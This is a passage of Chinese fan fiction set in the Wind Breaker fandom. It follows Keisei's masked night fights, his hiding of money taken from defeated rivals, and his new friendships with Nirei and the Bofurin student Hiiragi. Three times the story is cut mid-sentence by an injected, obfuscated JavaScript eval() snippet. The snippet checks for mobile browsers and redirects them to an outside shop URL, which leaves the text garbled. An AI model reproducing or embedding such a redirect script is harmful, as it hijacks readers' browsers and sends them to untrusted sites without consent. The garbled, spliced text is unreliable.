大脑还在思考礼貌的问题,身体却这么直接整段垮掉地跌落回椅子上。他发誓,他刚刚已经拿出了出生以来对鬼怪的最大勇气了。现在一卸力,温度回到了身上的同时,刚刚做小蛋糕时被揉得浑身酸酸胀胀的感觉也回来了,但就算这样,回想起刚刚那团怨念的聚集体总觉得那个眼神很熟悉…… 到底是在哪里见过呢? “刚给这孩子上完药,待会就回去了”琴叶晃了晃手里的药油。把桂生的衣服丢给了他罩在了少年的头上,自顾自的开始收拾东西。大概是之前看到了桂生挡在琴叶面前的样子,设乐对于这个孩子的印象分直线上升,人家孩子不说话他也就当做是这孩子生性不爱说话,也没有介意什么。 三个人一起收拾没花多少时间,没多久就在店门口挥手道别,到最后他也没有好意思在设乐面前多说一句话。一个人走在路灯下的时候看着熹微的光照下飞舞的飞蛾,他忽然灵光一闪想起了那个怨念的眼神在哪里见过了 小学的时候被姐姐打扮成女孩子出门,在公园等姐姐买冰淇淋的时候被不认识的小男孩亲了,恰巧遇到了路过的沼哥,打过招呼之后就用那种目光带着对方去小树林聊天去了。那个时候,那孩子叫得可真惨啊……被姐姐打扮成那样也真是难为沼哥那时候还能认出来。 这么一想,浑身一颤,看来这次自己遇到的危机完全不输给在鬼怪面前走了一圈。 接下来很长一段时间桂生的生活都充实又满足,白天上课睡觉,晚上去惹事生非,空闲的时间就去找琴叶学蛋包饭。为了证明自己确实十五岁,甚至是在白天的时间,穿着校服去的,时不时地在店里帮她打打下手作为学费。 但是,琴叶的店真的很特别,不论对方是怎样夸张的发型,穿得多么离谱,她都能很平静地跟对方交谈,很平静的点单,很平静的制止对方在店内抽烟的行为。 说实话,当她对着那群穿着风铃制服的男人大喊要吵出去吵的时候桂生冷汗都流下来了,握着菜刀就挡在了琴叶的面前。结果他所担心的事情并没有发生,那些男人们只是愣了愣,低眉顺眼地安静下来,像是被命运捏住了嘴筒子的傻狗。 桂生没有跟他们有太多的交流,就算被打趣也只是乖乖地后退两步站到琴叶的背后去。毕竟风铃跟狮子头连一直都是对立的关系,甚至去年还跟风铃有一场乱斗。虽然现在是住在风铃的地盘上,但他以后还是要回狮子头连的,要是跟他们弄得太熟了以后揍人的时候就没办法用力了。 毕竟,他真的没法对认识的人挥拳,而且……风铃的这些人虽然看起来不太聪明但是气氛很轻松,至少他为数不多与他们遇到的几次没有见到他们闹出什么冲突。不过考虑到每次桂生来找琴叶都在即将下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125297|149894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班的边缘时期,其实跟风铃的人也没怎么碰面,几乎每次那些人都在吵吵闹闹的帮琴叶收拾东西面对显然不愿意跟他们有交集的桂生也从来没有为难过。 桂生恍然大悟,一定是时间段的问题,他所以才能只看到这些人像傻狗一样傻乐的样子,而没有见到他们逞凶斗狠的时候吧。所以才会对他们有淡淡的好感啊……嗯,对,淡淡的。 桂生到底不是真正什么都不懂凭借本能去打架的人。他有提前学习那些动作,理论,锻炼。他只是没法把自己的那些理论用于实战,甚至对他来说最重要的是,要怎么样在剧烈的疼痛中继续自己原本要做的动作。 奇迹般的,在琴叶堪比地狱一般的推拿之后,他对疼痛的适应已经达到了新高。几乎没有什么人能够比药油在淤青上揉搓更痛了。连琴叶的揉搓都只是让他手舞足蹈而不是拔腿就跑,还有什么样的疼痛能阻止他的动作? 他只是需要与自己的技巧磨合,然后继续锻炼身体维持状态,让自己有能力使用出那些他学会的动作与技巧。这一点来说,搬出来不到一个月他已经得到了充分的练习,用伤痛作为载体记录着他打架的经验。当身上的伤痕被治愈,那些经验也就成为了他的技巧中的一部分。 虽然不是天生打架的好苗子,但是通过学习、练习,就算够不到那些在打架上天赋异禀的家伙也不输给一般人了。只不过没有对比的标准,也对自己的成长一无所知,一直都执着地认为自己很弱。不会估量自己的水平理所当然的也不会估量对方的能力。 最近无伤通关的次数太多了,以至于现在为了方便说话,打架他都不怎么戴口塞了。一旦不带口塞场面就一发不可收拾,能够说话之后,他几乎是把从小学时期就开始幻想的那些尖锐中二发言都说了一遍。 本来这个打架还用武器的家伙就够招人恨的了,这会他戴了面具还长了张嘴,原本不好的风评雪上加霜。好了,现在大家都知道了,在这个城镇有个戴面具的混蛋,打架手段阴险还蔑视人,十分的讨人嫌。 桂生:你们骂面具混蛋想骂就骂呗,关我有马桂生什么事,我只是被狮子头连驱逐出来柔弱无力的座敷童子罢了。 另一方面,在上一次哭着跟有马、鹿沼把事情说开了之后,虽然死守着底线没有把现在的住址告诉他们,但是线上的交流简直是爆发性的增长。就连平时拿着手机大多数都只跟那些搭讪他的美女们聊天的有马也开始跟桂生分享他的日常。虽然他们没有在对方的身边,但是把身边的一切分享出去的话,就如同对方也参与了一样。 桂生躺在榻榻米上一条一条的翻着手机里的动态,显然有马还不太习惯分享自己的日常。往往发过来的信息都是很朴素的、类似于“超好笑,遇到超级丑的狗【图片】【图片】【图片】”这种感觉。 但是已经努力了呢,雪哥。明明一直在宣扬自己是狮子头连的社牛,结果跟自己的弟弟发信息这么僵硬啊。桂生想着,手指在键盘上飞速地按动着,一条一条的回复着有马的信息。然后点开鹿沼的对话框,讨论有马浑身都是勉强自己发信息的发言。 【总感觉看着雪哥的信息已经能够想象他今天的表情了】——桂生。已读 【有马他今天超好笑的,我们明明已经走过去了诶,他看到那只狗又退回来了】——鹿沼。已读 【然后呢然后呢】——桂生。已读 【然后他给狗连拍了十多张还没有关闪光灯】——鹿沼。已读 【我们被这条狗追着跑了两条街诶】——鹿沼。已读 【呜哇那不是超辛苦吗】——桂生。已读 【超级累的诶,人家新买的裤子都沾上泥了】——鹿沼。 【不过已经这个时间了诶,桂生要好好睡觉了哦】——鹿沼。 【诶?没有已读……不会已经睡了吧】——鹿沼。 【要做个好梦哦,晚安】——鹿沼。 8. 第 8 章 独狼很帅,但是要做独狼是一件很难的事情。 独狼对手大多不是独狼,在这个没有超能力的世界里,人的体力是有限度的。实力的差距或许能够做到一挑十,一挑二十,也有特别厉害的人凭着毅力一挑三十,一挑四十,但是一挑百这类武神神话几乎不存在。 如果不加入什么组织,独狼往往会在不断出现、不知道从什么时候出现的围堵弄得筋疲力尽,就像是被蚁群咬死的象。因为不知道什么时候就会有人针对,精神也不得不一直防备着,人的戒备如果紧绷到一定地步,为了保护自己精神也会变得敏感……长久下去对社交和生活都会有影响——他们的心会树立起坚壁,来保护灵魂不被扭曲。 这是很难坚持的。以前在狮子头连的时候桂生也听过,几个有名的独狼后来要么加入了别人的组织,要么有了自己的追随者。 桂生也不是因为自己想才做独狼的,他被自己的族群驱逐了,但既然想着有朝一日堂堂正正地回去,那至少自己现在不该摇着尾巴去乞求别的组织庇护。 唯一值得庆幸的是,夜晚的他有特别装扮过几乎没有人会把他与白天的那个病秧子联系起来。于是他的日常生活得以维系,不过也出现了新的问题。 每次打完放狠话都不太方便。 别人打完之后一般会留下自己的名号“XX组织的XX”又或者“XX中(中学)X年X班的某某”之类的。而桂生,他留不了。 把人暴打一顿之后还不留名的做法让他原本就糟糕的名声雪上加霜。不过没有关系,这世界上唯一一个知道面具混蛋就是他的人只有琴叶,而琴叶不是很在意这种事情,对外边的传闻也并不敏感。 于是桂生与面具混蛋达成了一种鲁迅与周树人的关系。 但就算这样,一直在弱者身上练手也不是办法,桂生也差不多放弃了通过钓鱼执法的方式来练习了。桂生担心总是在弱者身上找自信与快乐的话,他会逐渐失去面对强者的勇气。 为了离家近,也为了打不过的时候能拔腿就跑。他干脆把自己固定刷新在狮子头连和风铃的地盘交界的桥洞下面,他对那周围的地形特别熟悉,真的对方带来几百人过来泄愤的话也能想办法逃跑。 只要有了固定的出现地点可以放狠话,弱者们就会带着强者来找他。 哎呀,名声臭了就是很方便,都不需要他主动去钓鱼执法,那些小人渣就会带着大人渣过来围堵他。但是人渣说到底只是人渣,就算是大人渣……也就只是那种水平,最多也就是人数增加一点。 打得没玩没了啊…… 说实话,对于这种打几下就嗷嗷乱叫躺在地上满地打滚的对手桂生从最开始的手足无措甚至思考要不要把对方扶起来,到冷眼旁观揍下一个人只花了不到一周的时间。期间他在无数次试图把对方扶起来的时候惨遭插眼、碾脚趾、捅屁股——当然机智的桂生不会让他们得手。 桂生现在已经腻了。有点像是那种,“在游戏里学习了新的技能循环,想看看自己的输出能够打到什么地步,结果出门打怪刚用上两个技能对方就倒下”的那种空虚、乏味。 没有再厉害一点的人了吗?这两条街的治安就是被这种没骨气的坏东西搞坏的。 然后某一天,桂生灵机一动,想到了一个好办法能够让那些反复围堵他的人,再也不敢来了,他决定收费揍人了。 以前被他打倒了就是打倒了,现在被他打倒了还会被他摸走钱包里的钱。如果是老面孔故意身上不带钱的家伙,他就会把对方的衣服脱了带走。反正,隔壁不是有个治安糟糕到离谱的砂把地区吗?把脱下来的衣服放在那里,不用多久就不见了,特别方便。 但是,此时出现了新的问题。摸来的钱怎么办呢? 见过琴叶之后,桂生刷新了对自己的认知,他自认为自己是一个意志不坚定很容易被宠坏的人。所以,面对一晚上的“斗殴门票费”可能能抵上一周零花钱的现状他开始犹豫了。 我肯定会被诱惑的。桂生断定。这样的钱来得太轻松了,如果用来乱花的话,几乎想要什么都能买回来。可是一旦养成习惯,以后打架他肯定会有目的性的为了钱去打。一旦习惯了这样轻松的收入迟早有一天会被诱惑着没有人围堵他也主动去抢走弱者的钱。 那是通往犯罪的道路。 绝对不可以,变成那样的话雪哥和沼哥绝对会超级超级失望的。毕竟英雄的哥哥怎么可以有一个犯罪者弟弟啦? 他把摸来的钱放在了小盒子里,里面的钱有零有整的,每一次他甚至还体贴的给会给对方留下一两张搭车的零钱。毕竟不是也有吗,那种为了给小弟出气,不远万里搭车过来揍他一顿的家伙。 虽然对于这种义气行为抱有一定敬意,但是在庇护手底下的人之前先,先关一下底下人的道德水准吧!向弱者挥刀的话只会越来越弱越来越烂诶。 这种苦恼,在他又一次在绿萝做蛋包饭失败之后消失了。趁着琴叶接待客人的时候,他鬼鬼祟祟地,把那些钱,分开藏在了料理台的各种角落和她的收银机里面。像是某种惊喜,只要琴叶扫除一下肯定就会像是中大奖一样发现的! 要不是不知道琴叶住在哪里,他肯定会去埋在琴叶院子里然后往她的窗子里丢藏宝图之类的。 为了方便藏钱,去绿萝的次数也变多了。 桂生在绿萝也不是完全不跟人交流,虽然在风铃的眼里,他可能是个有礼貌的哑巴,但至少在大多数人的眼里,他是个有礼貌的孩子。越是接触得多久越是觉得奇怪,绿萝这边总是会有奇怪的人在。除了那些对他的金发莫名其妙适应良好的老人家和街坊之外,还有一些奇怪的…同龄人? 虽然他不会表现出对客人的恶意,但是那个叫榆井的家伙格外让他不愉快。 其实早在狮子头连的时候就听说过,风铃似乎是打算像是玩战队游戏一样,成为保护街区的力量什么的。那个时候桂生一边觉得这个不现实,一边又觉得这个很厉害。 很简单的事情,不论是谁,被自己保护的人讨厌的话都会失去动力的吧?可是经历过这么多帮派之争带来的伤痛之后,谁又能轻易地对风铃交付信任呢?而且…或许风铃可以将眼前的敌人打跑,但既然大家都知道了风铃要做的事情,这条无法藏起来无法躲避的街区就成了他们再明显不过的弱点了。 破坏总是比保护更简单。 所以,以前听说风铃要保护街区的时候桂生并不看好。可是眼下他虽然没有特意讨好谁,甚至对风铃的态度也不好、那些人却仅仅是因为他在风铃的地盘就把他像是一般人一样一视同仁的庇护。这个时候桂生才意识到,他们好像真的做成了。 而这个叫榆井的臭小子是受益者。 每次过来的时候,这个小子都在大声地叭叭叭叭风铃有多厉害,有多正义,有多帅气,而他高中绝对要去风铃什么的。 他很弱,比自己还弱。桂生一眼就看出来了,这个一遍遍向街区的大家讲述风铃的故事,说着风铃最近又保护了什么、与谁斗争、打倒了什么的家伙,对风铃的崇敬几乎让他的眼睛发光。每一次他说完最近发生的“风铃物语”之后最后总要加上一句,“我绝对也要加入他们。” 搞什么啊,这么弱的话,就算是那些正义的伙伴也不会收吧?既然要做保护的一方,那至少要拥有保护的力量才行啊,只是作为拖后腿的存在,就算那些“英雄”们愿意短暂地因为他的志气接纳他最后也会不得不分别吧。 桂生讨厌他。 这种讨厌在风铃的一年生爽朗的说“那就来吧。”之后达到了巅峰。 哈?那就来吧?我说你们啊,根本就不知道队伍里存在一个累赘之后打架的时候有多难搞。你的敌人会凌辱最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125298|149894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱的那一个,比疼痛更可怕的是什么都保护不了的无力感,他会成为你们的弱点,成为击溃你们的秘诀。 鸡蛋有些不够了,琴叶跟桂生打了一声招呼后就匆匆地穿着围兜跑了出去。桂生低低地应答一声继续清洗着杯子,水流声里,榆井还在高谈阔论,听得桂生一阵阵的焦躁。 他也不明白自己为什么会对这样一个天真的同龄人这么大的恶意,以至于对方说的每一句话他都忍不住在心里反驳。 一时间桂生头脑里想起了无数次、无数次、无数次,为了保护他而受伤的有马和鹿沼。就算是十龟和丁子那样的强者,在最开始的最开始也因为他被拖累过。不所以桂生才养成了在冲突出现之前先躲起来的习惯,他只有把自己藏好了,在乎他的人才能够放手去打。 终于,桂生还是忍不住了。陶瓷杯被重重地按在了桌子上,里面的咖啡却没有撒出来一滴。他笑着,笑得很得体,说出来的话却尖锐得不行。 “你是笨蛋吗,才不是因为做了英雄而帅气,是因为帅气才能成为英雄,像你这么弱的话就算成为了‘防风铃’又能保护谁?” 他的话语像是一根针,而店里其乐融融的气氛像是个脆弱的气球。在他的话音落下时屋里也出现了短暂的安静。正是这样短暂的安静让桂生从头脑中充溢的负面情绪中脱出。 回过神、意识到自己说了什么之后他甚至无措地瞪大了眼睛。太糟糕、太尖锐、太伤人了,他不该说这样的话。可是正当他不知道该怎么道歉时,那个被他尖锐的话语刺得一愣的少年反而对他说。 “你还好吗,刚刚,你看起来好难过啊。” 被包容了,被担心了。原本瞪得够大的眼睛又瞪大了一圈,几乎是落荒而逃的回到了料理区。不知道该怎么道歉好,去冰箱把琴叶留给他的布丁板着脸端出来放到了榆井桌上,然后像是踢到屁股的狗一样闪现回了料理区。 屋里又恢复了一开始欢乐的气氛,风铃的那个每个字都要弹舌的断眉毛甚至揽着他的肩膀说“就算是防风铃职责也不只是打架,你只要做好你能做到的事情就好,来年的一年生要是全是只会打架的笨蛋柊哥才会困扰吧。” 柊?是说四天王那个柊吗。以前好像也听十龟哥提到过这个名字。那个卷舌大概也是个大人物吧,榆井那小子被这么勾肩搭背之后迅速进化成了蒸汽机,脑袋一直冒着热气,脸上通红通红。 蹲在料理台后面桂生抱着头,他也不是笨蛋,轻易地他就想清楚了为什么会对一个同龄人有这么大的恶意——他在嫉妒,丑陋的,被对方现在其乐融融的氛围和拥抱着的幸福刺痛着,像是看着过往一无所知的自己一样,恨铁不成钢的嫉妒着。 明明我们都这么弱小,为什么你会被接受。在这样英雄的队伍里顶着英雄的名号却是被保护的存在吗?为什么可以被容忍。明明,明明就算是我,也已经被我的“英雄”赶出队伍了啊。 啊……原来我在嫉妒他啊。明明已经在一步步往前走了,却仍旧会对别人拥抱的幸福而难过。这样的内心也太过小了吧?这样的话不就要变成特摄片里一下子就黑化变成坏人的大反派了吗。 在桂生自我反省的时候,从旁边伸出了一只手机。 【你是叫桂生吗?我是楠见,要加个Line吗?】 屏幕上是备忘录的界面,简简单单的打着几个字。侧过头看过去,手的主人……像是雪纳瑞一样看不到眼睛,但是却笑得很温和。为了配合桂生的姿势,甚至直接坐在了地上勾着背才勉强跟桂生平视。 是个体贴的人,可是他穿着风铃的校服……桂生有些纠结,本能地试图对上他的目光确认他眼中的神情,但是被对方的刘海遮挡了个严严实实。 我说,虽然难得为了平视几乎都趴下来了很让人感激,但是平视还是俯视根本无所谓吧,你的这个发型真的能看见吗? 9. 第 9 章 最后桂生还是加上了楠见的line。 就算对方是风铃的人,桂生也没办法拒绝这样的善意,何况还是他先说着了尖锐的话语伤害别人。如果这个时候再把别人充满善意的邀请拒绝未免也太坏了。 而且,就算是风铃的人也没关系吧,谁还没有几个别的团体的朋友呢。据说雪哥沼哥班上,一个班有六七个不同团伙的成员,大家期末不及格的时候不还是要一起合宿补习吗?就算是狮子头连和Zinc之间的恩怨,在上下铺的情谊面前也打不起来吧。 而且,这个叫楠见结斗的家伙,表情包超可爱,是沼哥会喜欢的类型诶。 有品,好感度+1 你的表情包很好,现在是我和沼哥的了。 此时还在狮子头连跟着大家一起闲逛的鹿沼手机一阵嗡鸣,特别关心的铃声噼里啪啦地响一直没停。生怕是桂生出了什么事情,他立刻停下了脚步把手里的充电宝和汽水都塞进了有马手里,然后表情凝重地打开了手机。 刷屏的十张表情包…… 鹿沼:……? 他的头上缓缓冒出一个问号,然后才收到: 【看到了超超超可爱的表情包,觉得沼哥肯定会喜欢就偷过来啦!】【开心小狗】【发光小狗】【得意小狗】 鹿沼:嘿嘿…我弟弟真可爱。他心里有人家耶—— 虽然眼睛已经笑成了缝,但手上打字的速度却没有丝毫的减慢。 【谢啦?果然桂生超有品,表情包超可爱的诶】 “……你在niyaniya笑个什么劲,好恶心啊鹿沼”拿着手里的汽水和充电宝,有马毫不犹豫地捏了捏鹿沼的脸。倒也不是看不得鹿沼笑得开心,但是莫名其妙地有马觉得他这次笑得格外碍眼,像是在得意什么。 确实在得意什么的鹿沼当场就是一个熄屏,从有马手里把汽水和充电宝接过来,得意地跑了两步,去追前面的大队伍。 有马:怎么的呢?还不给看了? 另一边,虽然绿萝似乎是防风铃的聚集点,但是风铃的家伙也并没有能够一直待在店里那么闲,很快屋里除了榆井其他人都离开了。按理说初三生怎么也该比高一的这防风铃要忙,但是一旦榆井确定了自己的志向要去风铃之后就变得闲起来了。 都偏差值最底边了,就是缺考几门桂生也有信心能闭着眼睛考进去。而且……榆井一看就是那种也很擅长读书的家伙。 琴叶收拾着东西,拒绝了桂生的帮忙,她也看出了奇妙的气氛,说着“别碍事”之类的话就像是碾鸡一样把桂生碾到了榆井坐着的角落那一桌。 “刚刚…对不起,跟你说了那么尖锐的话。”桂生倒是主动地先打上了话,一旦意识到自己对榆井的恶意源于嫉妒和对曾经的自己的嫌弃之后反而能够坦然地和榆井说话了。 “没关系啦没关系的。”结果榆井却更加慌张了,像个意大利人一样手脚乱挥舞着,然后一口闷掉了杯子里剩余的咖啡安静下来,低着头看着桌上的杯子青涩的笑着说“而且,我觉得桂生说的话很帅气。” “并不是成为了防风铃就会变得很帅,而是很帅很强很让人安心才能成为防风铃。就算被榎本前辈安慰了其实我也很清楚自己跟大家的差距啦。”他笑着笑容中有些苦涩,但仍旧是笑着。“在我得意忘形的时候,真的很感谢桂生能够把我点醒。” “不是的。”桂生几乎是在他的话音落下后立刻否认了他。大概就是因为觉得他像曾经的自己,所以忍不住会对他多说几句。但是和自己通过示弱来获取兄长的疼爱不一样,他的眼睛很清澈,他是真的这样想的。 “防风铃并不只是单纯的暴力组织,他们在守护——那比要打倒谁更难,要做的也不仅仅是武力的强大。就算打架很弱也没关系,你的才能会派上用场,你有比打架更厉害的天赋。”和狮子头连不一样,在风铃,弱者也能够派上用场,也能够不拖后腿骄傲的活着。 后知后觉地,桂生意识到。就算觉得像,他和自己也不一样。处境、未来、遭遇都不会一样,他选择的、憧憬的风铃如果真的像他说的那样好,他就不会落到自己这个下场。 “你对于风铃来说很重要,你是他们与街道的重要的桥梁。” 没有人会喜欢保护讨厌自己的人,可如果一直有人在将自己称为“英雄”呢?比起快乐人总是更愿意记住曾经的伤痛与悲伤,这条街上的居民曾经被数不清的帮派斗争伤害过,但如果有人愿意用亲身经历一遍又一遍地告诉他们现在的风铃和以前的不一样呢? 榆井大约不是唯一的一个。也难怪十龟哥提到过的风铃的“异想天开”能够被实现。他们与街道的桥梁大约就是在这样一次次不厌其烦的帮助之后,那些善意的种子漫天散落,然后落地生花。 “……你很重要。”不知道要怎么把这样的事情描述出来,桂生只能干巴巴地说着,双手捧着对方的脸强迫他对上自己的视线,让他从目光中确定自己是认真的而不是单纯地在安慰他。 不可否认地,桂生又开始羡慕榆井了。多幸福啊,他仅仅是憧憬着,就能够让被他憧憬的人受益。而桂生的记忆里,总是轻易会记住一次次在更加久远又年幼的时光里自己只能在掩体后面瑟瑟发抖的过去。 雪哥和沼哥虽然很强,但并不是总是赢的类型。国小的时候,总是被中学生围堵,到了中学之后对手就成了高中生,进入狮子头连之后对手的年龄就不是那么重要了,高中生、大学生、社会人混在一起乱斗,打红眼之后大家只能靠着外套来区分敌人和同伴。 那个时候打不过也没关系,要变强的话就是要不断向强者挑战才行嘛,怕输的话就没法往前走啊。他负责躲起来,远远的注视着,即使没法参与他们的打斗,但他也用自己的记忆作为载体记住了他们的背影与成长。像是打架的慰问品一样,打完之后大家傻笑着往回走、一起喝汽水吃夜宵,而桂生很清楚,自己的笑容也是打架的慰问品之一。 所以不可以哭,担心也好害怕也好都不可以哭,如果他哭出来饭就会变得难吃了。 不过这样辛酸的日子随着大家变强似乎也一去不复返了,丁子当上了总代,十龟哥成为了副总代,像是君王一样帅气的统领着整个组织。那些辛酸的回忆也成了勇者物语的前传。 在桂生的勇者传说里,他一直将自己定位成了宝箱里的财宝。好羡慕啊,羡慕他能够派上用场,在榆井的英雄物语里面,即使再怎么微不足道他也作为英雄的同伴参与到了故事。 “……”突然被版强制对上对方的视线,榆井紧张得不敢动。茫然地眨了眨眼睛,他像是游戏中试图与NPC对话,点上去之后体统提示他因为亲密度不足无法解读对方用目光作为载体传达的语言,但天无绝人之路他又在视线交汇之后灵光一闪地领悟到了桂生在努力传达的认真。 虽然我也不知道你在说什么,但我知道你在很认真的说。榆井眨了眨眼,恍然大悟。 “桂生。”他维持着这种小狗一样被对方捧着脸的姿势面对这个看起来比他年下(实际上是同龄人)却能够说出很有道理的话的孩子。“你在担心对吧,对于我的今后。” “……啊?”榆井的话让桂生的情绪都不连贯了,硬生生地从自己的情绪里被他拖拽出来。他的头上缓缓冒出了一个问号,虽然眼神交流在不熟悉的人面前确实是有损传达,但是这样全损未传达也是他完全没有想到的。 届不到,届不到一点。 “我会努力的,既然桂生说我的才能能够派上用场的话,我会用自己的全部为防风铃应援的!”像是每个英雄物语的开头,少年人受到了激励站起来说出了他仍旧有些稚嫩却充满了决心的豪言壮语。 真是的,完全不一样嘛。怎么会觉得他跟自己像啦,不如说,起嫉妒这孩子的自己才是笨蛋吧。桂生托着腮撑在桌上在心里嘀咕着,看着自己不再柔嫩的手,感受着身上如影随形的疼痛。 他要去的方向和这孩子完全不一样嘛,他已经向着自己憧憬的方向迈出一步了,就算是被姐姐教导着精心养护的手变得粗糙,就算身上的疼痛经久不消,这一切都让他安心,这一切都是他在往前走的证明啊。 啊啊啊,一步步靠近终点的人打击人家还没到起跑线的孩子是怎么回事啦!这不是超逊的吗!沼哥要是知道了的话绝对会超大声嘲笑的吧(鹿沼:并不会啦,人家才不会嘲笑小桂诶!) “好难为情啊…忍不住在桂生的面前这样自说自话了”大概豪情壮志了三秒左右,他像是体力值耗尽了之后呆毛都软下来了。看起来真的很柔软的样子,桂生一个没忍住伸手摸了摸。 这么摸摸头其实还蛮失礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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难道说他也像自己一样,因为被救了所以憧憬着要成为对方的一员吗?但是,附近好像除了风铃之外没有几个这种气氛的组织吧……是哪一个呢? “诶?桂生想去的是哪一个?” 以为对方会像自己嘲笑他,像桂生嘲笑他一样说“你还是回去读书比较好哦”之类像善意的建议一样嘲笑回来的桂生微微一愣,好喽,这一下桂生的情绪又不连贯了。 他其实以前也会像榆井一样把自己的憧憬宣之于口,甚至刚进入狮子头连的时候他几乎愿意跟每个人说他的英雄哥哥们。 虽然很多人都只是抱着“这小鬼怪有活力的”的想法敷衍着他陪他玩,但是十龟哥和丁子是不一样的,十龟哥会安静又认真地听他一遍遍的说,而丁子甚至会认真地问他“然后呢”“接下来呢。”他很认真在听也是真的很喜欢。 最开始桂生的开朗只伤害了故事里的两个主人翁,每次被人揶揄“哟英雄哥哥”鹿沼和有马的脚趾灵活度都猛猛上升,从最初的茅草屋已经能抠出三室一厅了。虽然很尴尬,但是他们都没有阻止桂生的打算,孩子开心,你还能阻止他咋的? 但是桂生还是在他们的脚趾灵活度进阶到抠出城堡之前停下了他的开口。狮子头连里只有两成高中生,还有八成几乎都是成年人。这里毕竟是狮子头连,强者用俯视的目光去看桂生,当然会格外的包容,但这种包容在同龄人里是不存在的。 在学校里桂生已经够让人嫉妒了,漂亮的脸蛋、能和女孩子们打成一片、远超同龄人的零花钱、被老师格外关照的好成绩、永远在他背后的两个哥哥…明明这么弱小,却能够穿上将力量视为绝对信仰的狮子头连的外套——现在桂生已经能够理解自己被孤立的原因了,但是读小学的时候真的还蛮伤心的诶。 穿着狮子头连的外套出门,如果遇到了同学甚至会被说是偷偷穿哥哥的衣服之类的。虽然对方之后肯定会被沼哥和雪哥揍,但是大家都心照不宣地把他看做是狮群里圈养的羊。 “我要去的地方吗?是将力量视为绝对信仰的狮子头连啦。” 桂生笑着,没有意识到当他的嘴里吐露出“狮子头连”几个音之后,明明没有戴面具也漏出了几丝夜晚的气息。 榆井:…… 榆井: “啊?” 10. 第 10 章 榆井觉得,如果自己想去防风铃是困难模式的勇者之路,那桂生走的一定就是地狱模式。他看了一眼掌心只需要一握就会像粗点心里的豆沙馅一样被自己轻易包住的手,又看了看桂生认真的表情。 说真的,会很辛苦的。 可是他又实在说不出“太难了,没可能的,你还是放弃比较好”这样的话。只是他注视着对方认真的目光忽然一闪,变得锐利起来。他!意识到了! “可是狮子头连的话,应该不收小学生吧……难道说桂生是打算高中之后再去吗?那还有几年呢,现在开始锻炼的话完全不晚哦。”榆井爽朗地说着,握住了桂生的手轻轻晃了晃。 啊?小学生?什么小学生?桂生的情绪又不连贯了,脑子里出现了宇宙、黑洞、世界的尽头。 “想去狮子头连啊,那还真是不错的志向。”突然背后的座位上冒出一个男人的声音,吓得桂生差点跳上天花板。一个刺刺头的男人摸着后颈不好意思地站出来。“抱歉啊,虽然没打算偷听,但是不小心听到了。” 原来那边有人吗? 虽然随便插入别人的话题不太好,但是继续装作不存在也不太好吧。因为胃痛被留下来休息的柊最终还是决定找个好时机冒出来,发现这个精致的孩子被吓得瞪大了眼睛他还挺抱歉的,只是他看着这个疑似小学生的孩子,总觉得有点什么即视感……好眼熟,什么时候见过? 看着突然冒出来的人榆井开始兴奋,而对桂生来说则是另外一种感觉。 他知道这个男人是谁。就算对方只是穿着简单的黑色T恤,容貌和身高都变化了很多,但是他记得的,在那场与风铃的乱斗中看到过他。锐利的踢技、正直的拳头,丁子说过跟他们打的时候很开心。 “防风铃四天王,柊登马。”桂生轻声说着。 原本就觉得不好意思的柊这会更加不好意思了,虽然四天王这个名号是大家一起决定的头衔,但是被一个小学生用像是特摄片里勇者认出命中注定的对手一样的语气郑重其事地说出来时……原本偷听就够不好意思的了,这孩子怎么还玩尬的啊! 高二的柊登马暂时还没有成长为未来那个泰山崩于前而面不改色吃胃药的高三柊登马,现在他是真的会尴尬,得想个办法把话题给带过去。 “这孩子说得对,你有着风铃需要的才能,防风铃并不是单纯的暴力组织,只享受战斗的家伙加入进来才无聊。”说着他拍了拍榆井的肩膀。 这倒是让桂生对他的印象稍稍充实了一点。风铃的家伙似乎都很在意别人的感受,但是连四天王也能做到这种地步是他没想到的。 毕竟现在风铃的大多数成员都是梅宫一打赢之后收服到麾下的。不是说这种组织往往成员的素质会良莠不齐的吗?何况风铃才统一几个月呢,就算要同化也没有这么快的吧。 既然大将是这种体贴又乱来的家伙,桂生先入为主地觉得四天王肯定都是凶神恶煞的人。毕竟,除了暴力压制还有什么能够这么迅速地维续现有的纪律和稳定? 要说大家发自内心的追随某个人,想要实现他的愿望之类的,这种事情也并不是没有比如说狮子头连的大家就是这样子。可是在真正跟梅宫一接触之前桂生是一点都不信他能像丁子那样充满魅力。 没想到柊登马是这种类型的四天王。意外的体贴诶。虽然如果只看脸的话,脸上已经开始显露出胃病痕迹的柊其实已经有够凶神恶煞了。 不管桂生在想什么,此时被憧憬的组织里的大人物拍肩膀的榆井已经小脸通红眼睛瞪大,五官在逐渐脱离人类面相既定的位置,向着烧水壶进化。 说真的,这家伙进入风铃之后要是每天来这么几回对心脏不好吧。 为了榆井的心脏,桂生往旁边蹭了蹭,挪了挪屁股。至少不能两个初三崽坐着,让四天王大爷站着跟他们说话啊。 